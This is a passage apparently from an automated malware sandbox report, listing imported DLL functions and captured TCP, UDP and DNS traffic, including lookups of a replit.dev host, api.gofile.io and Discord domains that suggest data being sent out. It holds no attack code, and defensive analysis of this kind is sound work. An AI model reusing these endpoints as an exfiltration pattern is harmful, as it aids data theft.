                                                                                                                                  COMCTL32.dllImageList_Create, ImageList_AddMasked, ImageList_Destroy
                                                                                                                                  ole32.dllOleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

                                                                                                                                  Possible Origin

                                                                                                                                  Language of compilation systemCountry where language is spokenMap
                                                                                                                                  EnglishUnited States

                                                                                                                                  Network Behavior

                                                                                                                                  Network Port Distribution

                                                                                                                                  TCP Packets

                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                  Apr 10, 2024 08:28:39.007486105 CEST49741443192.168.2.435.247.106.28
                                                                                                                                  Apr 10, 2024 08:28:39.007543087 CEST4434974135.247.106.28192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:39.007616997 CEST49741443192.168.2.435.247.106.28
                                                                                                                                  Apr 10, 2024 08:28:39.008356094 CEST49741443192.168.2.435.247.106.28
                                                                                                                                  Apr 10, 2024 08:28:39.008373022 CEST4434974135.247.106.28192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:39.437267065 CEST49742443192.168.2.4162.159.61.3
                                                                                                                                  Apr 10, 2024 08:28:39.437304974 CEST44349742162.159.61.3192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:39.437365055 CEST49742443192.168.2.4162.159.61.3
                                                                                                                                  Apr 10, 2024 08:28:39.437900066 CEST49742443192.168.2.4162.159.61.3
                                                                                                                                  Apr 10, 2024 08:28:39.437916994 CEST44349742162.159.61.3192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:39.496129036 CEST4434974135.247.106.28192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:39.496721029 CEST49741443192.168.2.435.247.106.28
                                                                                                                                  Apr 10, 2024 08:28:39.496754885 CEST4434974135.247.106.28192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:39.497683048 CEST4434974135.247.106.28192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:39.497740030 CEST49741443192.168.2.435.247.106.28
                                                                                                                                  Apr 10, 2024 08:28:39.500392914 CEST49741443192.168.2.435.247.106.28
                                                                                                                                  Apr 10, 2024 08:28:39.500437975 CEST4434974135.247.106.28192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:39.500562906 CEST4434974135.247.106.28192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:39.500608921 CEST49741443192.168.2.435.247.106.28
                                                                                                                                  Apr 10, 2024 08:28:39.500626087 CEST49741443192.168.2.435.247.106.28
                                                                                                                                  Apr 10, 2024 08:28:39.639322996 CEST44349742162.159.61.3192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:39.639884949 CEST49742443192.168.2.4162.159.61.3
                                                                                                                                  Apr 10, 2024 08:28:39.639894009 CEST44349742162.159.61.3192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:39.641189098 CEST44349742162.159.61.3192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:39.641243935 CEST49742443192.168.2.4162.159.61.3
                                                                                                                                  Apr 10, 2024 08:28:39.644131899 CEST49742443192.168.2.4162.159.61.3
                                                                                                                                  Apr 10, 2024 08:28:39.644258022 CEST44349742162.159.61.3192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:39.644539118 CEST49742443192.168.2.4162.159.61.3
                                                                                                                                  Apr 10, 2024 08:28:39.644543886 CEST44349742162.159.61.3192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:39.688585997 CEST49742443192.168.2.4162.159.61.3
                                                                                                                                  Apr 10, 2024 08:28:39.772511005 CEST49743443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:39.772598028 CEST4434974351.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:39.772686958 CEST49743443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:39.773206949 CEST49743443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:39.773241043 CEST4434974351.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:39.857624054 CEST44349742162.159.61.3192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:39.857692957 CEST44349742162.159.61.3192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:39.857745886 CEST49742443192.168.2.4162.159.61.3
                                                                                                                                  Apr 10, 2024 08:28:39.858345985 CEST49742443192.168.2.4162.159.61.3
                                                                                                                                  Apr 10, 2024 08:28:39.858361006 CEST44349742162.159.61.3192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.320419073 CEST4434974351.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.321110964 CEST49743443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:40.321135044 CEST4434974351.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.322074890 CEST4434974351.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.322196960 CEST49743443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:40.322951078 CEST49743443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:40.322988987 CEST4434974351.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.323091030 CEST49743443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:40.433623075 CEST49745443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:40.433631897 CEST49744443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:40.433671951 CEST4434974551.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.433715105 CEST44349744162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.433810949 CEST49745443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:40.433818102 CEST49744443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:40.434293985 CEST49745443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:40.434308052 CEST4434974551.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.434601068 CEST49744443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:40.434633970 CEST44349744162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.446621895 CEST49746443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:40.446660995 CEST44349746162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.447149992 CEST49746443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:40.447149992 CEST49746443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:40.447185040 CEST44349746162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.637893915 CEST44349744162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.638469934 CEST49744443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:40.638513088 CEST44349744162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.639429092 CEST44349744162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.639741898 CEST49744443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:40.641104937 CEST49744443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:40.641144991 CEST44349744162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.641299963 CEST44349744162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.641396999 CEST49744443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:40.641396999 CEST49744443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:40.655982971 CEST44349746162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.656414032 CEST49746443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:40.656433105 CEST44349746162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.657427073 CEST44349746162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.658235073 CEST49746443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:40.658235073 CEST49746443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:40.658276081 CEST44349746162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.658382893 CEST44349746162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.658409119 CEST49746443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:40.659348965 CEST49746443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:40.970869064 CEST4434974551.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.971426964 CEST49745443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:40.971457005 CEST4434974551.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.972338915 CEST4434974551.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.972460032 CEST49745443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:40.977128983 CEST49745443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:40.977178097 CEST4434974551.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.977263927 CEST49745443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:41.059968948 CEST49747443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:41.060012102 CEST44349747162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:41.061268091 CEST49747443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:41.062233925 CEST49747443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:41.062237024 CEST49748443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:41.062247038 CEST44349747162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:41.062277079 CEST44349748162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:41.062531948 CEST49748443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:41.062961102 CEST49748443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:41.062972069 CEST44349748162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:41.253051043 CEST44349747162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:41.257296085 CEST44349748162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:41.261395931 CEST49747443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:41.261418104 CEST44349747162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:41.261632919 CEST49748443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:41.261651039 CEST44349748162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:41.262438059 CEST44349747162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:41.262492895 CEST49747443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:41.262631893 CEST44349748162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:41.262682915 CEST49748443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:41.263318062 CEST49747443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:41.263353109 CEST44349747162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:41.263458967 CEST44349747162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:41.263504028 CEST49747443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:41.263519049 CEST49747443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:41.275542021 CEST49748443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:41.275625944 CEST44349748162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:41.275676966 CEST49748443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:41.276684999 CEST49749443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:41.276721001 CEST4434974951.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:41.276998997 CEST49749443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:41.278548002 CEST49749443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:41.278558969 CEST4434974951.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:41.789931059 CEST4434974951.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:41.790580034 CEST49749443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:41.790599108 CEST4434974951.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:41.791624069 CEST4434974951.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:41.791676998 CEST49749443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:41.792546988 CEST49749443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:41.792571068 CEST4434974951.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:41.792609930 CEST49749443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:41.811681032 CEST49750443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:41.811719894 CEST44349750162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:41.811788082 CEST49750443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:41.813003063 CEST49750443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:41.813011885 CEST44349750162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:41.814405918 CEST49751443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:41.814431906 CEST44349751162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:41.814481974 CEST49751443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:41.814996004 CEST49751443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:41.815007925 CEST44349751162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:41.839802980 CEST49752443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:41.839850903 CEST4434975251.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:41.839915037 CEST49752443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:41.840251923 CEST49752443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:41.840271950 CEST4434975251.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:42.003525972 CEST44349750162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:42.004003048 CEST49750443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:42.004014969 CEST44349750162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:42.005103111 CEST44349750162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:42.005167007 CEST49750443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:42.006212950 CEST49750443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:42.006282091 CEST44349750162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:42.006324053 CEST49750443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:42.007936954 CEST44349751162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:42.008277893 CEST49751443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:42.008296967 CEST44349751162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:42.009249926 CEST44349751162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:42.009357929 CEST49751443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:42.010147095 CEST49751443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:42.010166883 CEST44349751162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:42.010205030 CEST49751443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:42.367568016 CEST4434975251.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:42.368130922 CEST49752443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:42.368168116 CEST4434975251.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:42.370619059 CEST4434975251.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:42.370783091 CEST49752443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:42.371495962 CEST49752443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:42.371567965 CEST4434975251.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:42.371777058 CEST4434975251.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:42.371845961 CEST49752443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:42.371845961 CEST49752443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:42.907238960 CEST49753443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:42.907327890 CEST44349753162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:42.907471895 CEST49753443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:42.908883095 CEST49754443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:42.908921003 CEST4434975451.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:42.909339905 CEST49754443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:42.910892963 CEST49753443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:42.910928965 CEST44349753162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:42.910964966 CEST49754443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:42.910975933 CEST4434975451.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:42.912264109 CEST49755443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:42.912286043 CEST44349755162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:42.912790060 CEST49755443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:42.913090944 CEST49755443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:42.913111925 CEST44349755162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:43.105199099 CEST44349753162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:43.105846882 CEST49753443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:43.105878115 CEST44349753162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:43.106920004 CEST44349753162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:43.107074022 CEST49753443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:43.107867956 CEST49753443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:43.107917070 CEST44349753162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:43.108059883 CEST44349753162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:43.108083010 CEST49753443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:43.108195066 CEST49753443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:43.113080025 CEST44349755162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:43.114763021 CEST49755443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:43.114787102 CEST44349755162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:43.116270065 CEST44349755162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:43.116406918 CEST49755443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:43.117439032 CEST49755443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:43.117494106 CEST44349755162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:43.117666960 CEST44349755162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:43.117738008 CEST49755443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:43.117738008 CEST49755443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:43.432533979 CEST4434975451.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:43.433077097 CEST49754443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:43.433142900 CEST4434975451.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:43.434137106 CEST4434975451.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:43.434205055 CEST49754443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:43.435086012 CEST49754443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:43.435122013 CEST4434975451.38.43.18192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:43.435179949 CEST49754443192.168.2.451.38.43.18
                                                                                                                                  Apr 10, 2024 08:28:47.215682983 CEST49757443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:47.215730906 CEST44349757162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:47.216248035 CEST49756443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:47.216274977 CEST44349756162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:47.216365099 CEST49757443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:47.216372967 CEST49758443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:47.216379881 CEST44349758162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:47.216423988 CEST49756443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:47.216505051 CEST49758443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:47.216813087 CEST49757443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:47.216825008 CEST44349757162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:47.217097998 CEST49756443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:47.217107058 CEST44349756162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:47.217588902 CEST49758443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:47.217597008 CEST44349758162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:47.442130089 CEST44349756162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:47.449101925 CEST49756443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:47.449126959 CEST44349756162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:47.450351000 CEST44349756162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:47.450566053 CEST49756443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:47.457101107 CEST49756443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:47.457159996 CEST44349756162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:47.457302094 CEST44349756162.159.128.233192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:47.458539009 CEST44349757162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:47.458551884 CEST44349758162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:47.458873034 CEST49757443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:47.458894968 CEST44349757162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:47.459911108 CEST44349757162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:47.459974051 CEST49757443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:47.460690022 CEST49757443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:47.460711956 CEST44349757162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:47.460753918 CEST49757443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:47.461101055 CEST49756443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:47.461101055 CEST49756443192.168.2.4162.159.128.233
                                                                                                                                  Apr 10, 2024 08:28:47.461101055 CEST49758443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:47.461127043 CEST44349758162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:47.462209940 CEST44349758162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:47.463799953 CEST49758443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:47.463799953 CEST49758443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:47.463859081 CEST44349758162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:47.463999987 CEST44349758162.159.136.232192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:47.464066029 CEST49758443192.168.2.4162.159.136.232
                                                                                                                                  Apr 10, 2024 08:28:47.464066029 CEST49758443192.168.2.4162.159.136.232

                                                                                                                                  UDP Packets

                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                  Apr 10, 2024 08:28:38.907526970 CEST5373453192.168.2.41.1.1.1
                                                                                                                                  Apr 10, 2024 08:28:39.003371000 CEST53537341.1.1.1192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:39.343276024 CEST5627753192.168.2.41.1.1.1
                                                                                                                                  Apr 10, 2024 08:28:39.343569040 CEST5397653192.168.2.41.1.1.1
                                                                                                                                  Apr 10, 2024 08:28:39.435569048 CEST53562771.1.1.1192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:39.436172962 CEST53539761.1.1.1192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:39.597898006 CEST6014053192.168.2.41.1.1.1
                                                                                                                                  Apr 10, 2024 08:28:39.771059990 CEST53601401.1.1.1192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.337116003 CEST5849353192.168.2.41.1.1.1
                                                                                                                                  Apr 10, 2024 08:28:40.353250027 CEST6142753192.168.2.41.1.1.1
                                                                                                                                  Apr 10, 2024 08:28:40.431814909 CEST53584931.1.1.1192.168.2.4
                                                                                                                                  Apr 10, 2024 08:28:40.445409060 CEST53614271.1.1.1192.168.2.4

                                                                                                                                  DNS Queries

                                                                                                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                  Apr 10, 2024 08:28:38.907526970 CEST192.168.2.41.1.1.10xef8eStandard query (0)e1b6282a-e30f-473c-ab0b-3aa78cea1281-00-2xez1th6hyjs3.kirk.replit.devA (IP address)IN (0x0001)false
                                                                                                                                  Apr 10, 2024 08:28:39.343276024 CEST192.168.2.41.1.1.10x1a47Standard query (0)chrome.cloudflare-dns.comA (IP address)IN (0x0001)false
                                                                                                                                  Apr 10, 2024 08:28:39.343569040 CEST192.168.2.41.1.1.10xf482Standard query (0)chrome.cloudflare-dns.com65IN (0x0001)false
                                                                                                                                  Apr 10, 2024 08:28:39.597898006 CEST192.168.2.41.1.1.10x2b8Standard query (0)api.gofile.ioA (IP address)IN (0x0001)false
                                                                                                                                  Apr 10, 2024 08:28:40.337116003 CEST192.168.2.41.1.1.10xa6feStandard query (0)ptb.discord.comA (IP address)IN (0x0001)false
                                                                                                                                  Apr 10, 2024 08:28:40.353250027 CEST192.168.2.41.1.1.10xb009Standard query (0)discord.comA (IP address)IN (0x0001)false

                                                                                                                                  DNS Answers

                                                                                                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                  Apr 10, 2024 08:28:39.003371000 CEST1.1.1.1192.168.2.40xef8eNo error (0)e1b6282a-e30f-473c-ab0b-3aa78cea1281-00-2xez1th6hyjs3.kirk.replit.dev35.247.106.28A (IP address)IN (0x0001)false
                                                                                                                                  Apr 10, 2024 08:28:39.435569048 CEST1.1.1.1192.168.2.40x1a47No error (0)chrome.cloudflare-dns.com162.159.61.3A (IP address)IN (0x0001)false
                                                                                                                                  Apr 10, 2024 08:28:39.435569048 CEST1.1.1.1192.168.2.40x1a47No error (0)chrome.cloudflare-dns.com172.64.41.3A (IP address)IN (0x0001)false
                                                                                                                                  Apr 10, 2024 08:28:39.436172962 CEST1.1.1.1192.168.2.40xf482No error (0)chrome.cloudflare-dns.com65IN (0x0001)false
                                                                                                                                  Apr 10, 2024 08:28:39.771059990 CEST1.1.1.1192.168.2.40x2b8No error (0)api.gofile.io51.38.43.18A (IP address)IN (0x0001)false
                                                                                                                                  Apr 10, 2024 08:28:39.771059990 CEST1.1.1.1192.168.2.40x2b8No error (0)api.gofile.io51.178.66.33A (IP address)IN (0x0001)false
